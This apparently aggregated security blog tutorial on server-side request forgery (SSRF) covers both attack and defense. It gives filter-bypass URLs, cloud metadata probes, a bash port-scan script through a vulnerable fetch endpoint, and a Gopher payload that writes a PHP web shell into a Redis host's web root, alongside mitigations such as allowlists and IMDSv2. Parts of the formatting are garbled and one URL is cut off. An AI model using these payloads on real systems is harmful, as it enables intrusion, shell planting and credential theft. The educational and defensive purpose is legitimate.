Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) vulnerabilities represent one of the most critical and evolving threats in the modern web application landscape. These flaws allow attackers to induce a server-side application to make arbitrary HTTP requests to an internal or external domain of their choosing, potentially leading to severe data exposure, internal service enumeration, and even remote code execution. As highlighted in recent bug bounty findings, even a minor oversight in how an application processes URLs can open a catastrophic security gap.
Learning Objectives:
- Understand the core mechanics and various types of SSRF vulnerabilities (Basic, Blind, Semi-Blind).
- Master practical techniques to discover and exploit SSRF flaws in modern applications.
- Implement robust defensive strategies and hardening measures to protect your servers and internal infrastructure.
You Should Know:
1. The Anatomy of a Basic SSRF Exploit
A fundamental SSRF attack manipulates a web application’s functionality that fetches a remote resource. This could be a webhook tester, a document parser, a PDF generator, or any feature that accepts a URL. The attacker substitutes an internal IP address (e.g., http://192.168.1.1/admin`) or a metadata endpoint (e.g.,http://169.254.169.254/`) for the expected public URL.
Example Vulnerable PHP Code Snippet:
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
}
?>
Step-by-step guide:
- Identify the Vector: Look for application parameters that accept URLs, such as
?url=,?path=,?download=, or?api=. - Test for Basic SSRF: Replace the value with
http://localhost` orhttp://127.0.0.1`. If the application returns the content of the local machine’s web root, it is vulnerable. - Probe Internal Networks: Attempt to access internal IP ranges like
192.168.0.0/16,10.0.0.0/8, and172.16.0.0/12. - Target Cloud Metadata: For applications hosted on AWS, Google Cloud, or Azure, try accessing their specific metadata endpoints. The classic AWS endpoint is `http://169.254.169.254/latest/meta-data/`.
2. Bypassing Common SSRF Filters with URL Obfuscation
Modern applications often implement rudimentary blacklists blocking strings like “localhost” or “127.0.0.1”. Attackers bypass these using numerous obfuscation techniques.
Linux/Netcat Listener for Testing Outbound Connections:
On your attacker-controlled server, listen for an incoming connection nc -lvnp 8080
Step-by-step guide:
- Use Decimal IP Notation: Convert the IP `127.0.0.1` to its decimal equivalent:
2130706433. The URL becomes `http://2130706433`. - Use Hexadecimal IP Notation: Convert the IP to hex: `127.0.0.1` becomes
0x7f000001. Use it as `http://0x7f000001`. - Use IPv6 Address: Use `[::1]` or `http://ip6-localhost/`.
- Register a Custom Domain: Point a domain name you own (e.g.,
attacker.com) to `127.0.0.1` via its DNS A record. The application may only check the domain name against a blacklist, not the resolved IP. - URL Encoding and Case Variation: Try `http://127.1`, `http://0177.0.0.1` (octal), or `http://LoCaLhOsT`.
-
Exploiting Blind SSRF for Port Scanning and Service Enumeration
In Blind SSRF, the response is not returned directly to the attacker, but the server still makes the request. This can be exploited to map internal networks by timing responses or using out-of-band (OAST) techniques.
Bash Script for Basic Internal Port Scan via Timing:
!/bin/bash
target_ip="192.168.1.1"
for port in {1,22,80,443,3306,5432,8000,8080}; do
time (curl -s "http://vulnerable-app.com/fetch?url=http://$target_ip:$port" &>/dev/null)
done
Step-by-step guide:
- Identify a Trigger: Find an action that has a noticeable delay, like a webhook that fires with a delay or an image that takes time to process.
- Scan via Response Time: Attempt to connect to common internal ports on a target IP. A connection to an open port (e.g., 80, 443) will typically timeout after a few seconds, while a connection to a closed port will fail instantly. The difference in response time indicates an open port.
- Use an OAST Tool: Leverage tools like Burp Collaborator or Interactsh. Instead of an internal IP, use a Collaborator payload: `http://xyz.burpcollaborator.net`. If the vulnerable server makes the request, you will receive a DNS/HTTP interaction, confirming the SSRF and allowing you to exfiltrate data.
-
Leveraging Gopher and Dict Protocols for Advanced Exploitation
Beyond HTTP/S, some applications support legacy or powerful protocols like `gopher://` or dict://, which can be used to interact with other internal services like Redis or Memcached.
Example: Exploiting Redis via Gopher SSRF
The Gopher protocol can be used to send a raw TCP payload. To exploit an internal Redis instance to write a web shell:
Create a payload that will run the Redis command: FLUSHALL, SET a shell, and CONFIG SET dir echo -e "1\r\n\$8\r\nflushall\r\n3\r\n\$3\r\nset\r\n\$1\r\na\r\n\$30\r\n\r\n\r\n<?php system(\\$_GET['c']);?>\r\n\r\n4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$13\r\n/var/www/html\r\n4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$9\r\nshell.php\r\n1\r\n\$4\r\nsave\r\n" | base64
Then, use the encoded payload with the Gopher URL: `gopher://internal-redis-server:6379/_
` <h2 style="color: yellow;">Step-by-step guide:</h2> <ol> <li>Check Protocol Support: Test if the application accepts URLs with the `gopher://` or `dict://` schemes.</li> <li>Craft the Payload: Identify the target service (e.g., Redis on port 6379) and craft the raw command payload needed to achieve your goal (e.g., writing a file, executing a command).</li> <li>Encode the Payload: URL-encode the entire payload to ensure it is transmitted correctly.</li> <li>Trigger the Request: Submit the malicious `gopher` URL to the vulnerable parameter. If successful, the server will send the raw commands to the internal service.</li> </ol> <h2 style="color: yellow;">5. Hardening Defenses: Implementing Robust SSRF Mitigations</h2> The definitive solution to SSRF is a "deny-by-default" allowlist approach. If that's not feasible, a multi-layered defensive strategy is required. Windows PowerShell Command to Block Outbound Traffic to Metadata IP: [bash] New-NetFirewallRule -DisplayName "Block AWS Metadata" -Direction Outbound -RemoteAddress 169.254.0.0/16 -Action Block
Step-by-step guide:
- Use an Allowlist: The most effective method. Create an allowlist of permitted hostnames, IPs, and URL schemes. Reject everything else.
- Implement a URL Parser & Validator: Don’t use blacklists. Use a robust library to parse and validate URLs. Extract the hostname, resolve it to an IP, and then check the IP against a blocklist of internal IP ranges (RFC 1918, cloud metadata, localhost).
- Disable Unused URL Schemes: If your application only needs HTTP/HTTPS, explicitly whitelist those schemes.
- Enforce Authentication on Internal Services: Assume your perimeter will be breached. Internal services like databases, caches, and admin panels should require strong authentication.
- Segment Your Network: Use proper network segmentation and firewalls to restrict east-west traffic, preventing a compromised web server from accessing the entire internal network.
6. Cloud-Native SSRF Defense with Service Metadata Endpoints
In cloud environments like AWS, the Instance Metadata Service (IMDS) is a prime target. AWS offers IMDSv2, a more secure version that requires a token for access.
cURL Command to Interact with AWS IMDSv2:
First, get a token (this request is mandatory for IMDSv2) TOKEN=<code>curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"</code> Then, use the token to access metadata curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
Step-by-step guide:
- Enforce IMDSv2: For all EC2 instances and containers, enforce the use of IMDSv2. This can be done via AWS Launch Templates, IAM policies, or the EC2 console. IMDSv1 should be disabled.
- How IMDSv2 Works: It uses a “session-oriented” method. A `PUT` request is first made to obtain a token that is valid for a specified duration. All subsequent `GET` requests must include this token in the header. This prevents simple
GET-based SSRF attacks from succeeding. - Use Hop Limits: Configure the metadata service hop limit to `1` to ensure metadata requests cannot originate from outside the instance itself.
7. Automating SSRF Detection with Nuclei Templates
Efficiently scanning for SSRF vulnerabilities at scale requires automation. Nuclei, a fast and customizable vulnerability scanner, is perfect for this task.
Example Nuclei Template for Basic SSRF (template.yaml):
id: basic-ssrf-check
info:
name: Basic SSRF Fuzzer
author: security-researcher
severity: medium
http:
- method: GET
path:
- "{{BaseURL}}/fetch?url=http://interact.sh"
- "{{BaseURL}}/webhook?url=http://interact.sh"
matchers:
- type: word
part: interactsh_protocol This checks for an out-of-band interaction
words:
- "http"
- "dns"
Step-by-step guide:
- Install Nuclei & Interactsh: Download Nuclei and start an Interactsh server for out-of-band detection (
interactsh-server). - Craft the Template: The template defines HTTP requests that will be sent to the target. It replaces a parameter value with your Interactsh server URL.
- Run the Scan: Execute the template against your target:
nuclei -u https://target.com -t template.yaml. - Analyze Results: If the vulnerable server makes a request to your Interactsh URL, Nuclei will report a finding, confirming the SSRF vulnerability.
What Undercode Say:
- The Perimeter is Illusory: SSRF shatters the concept of a trusted internal network. Every service, even those not exposed to the internet, must be hardened under the assumption that a front-end web server could be coerced into attacking it.
- Complexity is the Enemy: The shift towards microservices, cloud APIs, and serverless functions dramatically expands the attack surface for SSRF. A single vulnerable function in a chain can compromise the entire environment.
The analysis of recent bug bounty trends shows that SSRF is no longer just about reading local files. It’s a pivot point for full-chain attacks leading to cloud account takeover, data exfiltration, and remote code execution. Defenders must move beyond simple blacklists and adopt a zero-trust architecture within their own networks. The focus should be on validating and sanitizing every outgoing request made by the server, as if it were an untrusted user input—because, in the case of SSRF, it effectively is.
Prediction:
The potency of SSRF vulnerabilities will continue to escalate, driven by the increasing complexity of cloud-native architectures and the integration of third-party APIs and webhooks. We will see a rise in SSRF attacks targeting serverless function environments (e.g., AWS Lambda, Azure Functions), where a single vulnerability can lead to cross-account access and significant financial damage through resource hijacking. Furthermore, as IPv6 adoption grows, a new wave of SSRF flaws will emerge, exploiting poor implementations and the vast, often overlooked, internal IPv6 address space. Automated SSRF exploitation will become a standard module in penetration testing tools, making it crucial for organizations to proactively implement the layered defenses outlined above.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Rohith Kumar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
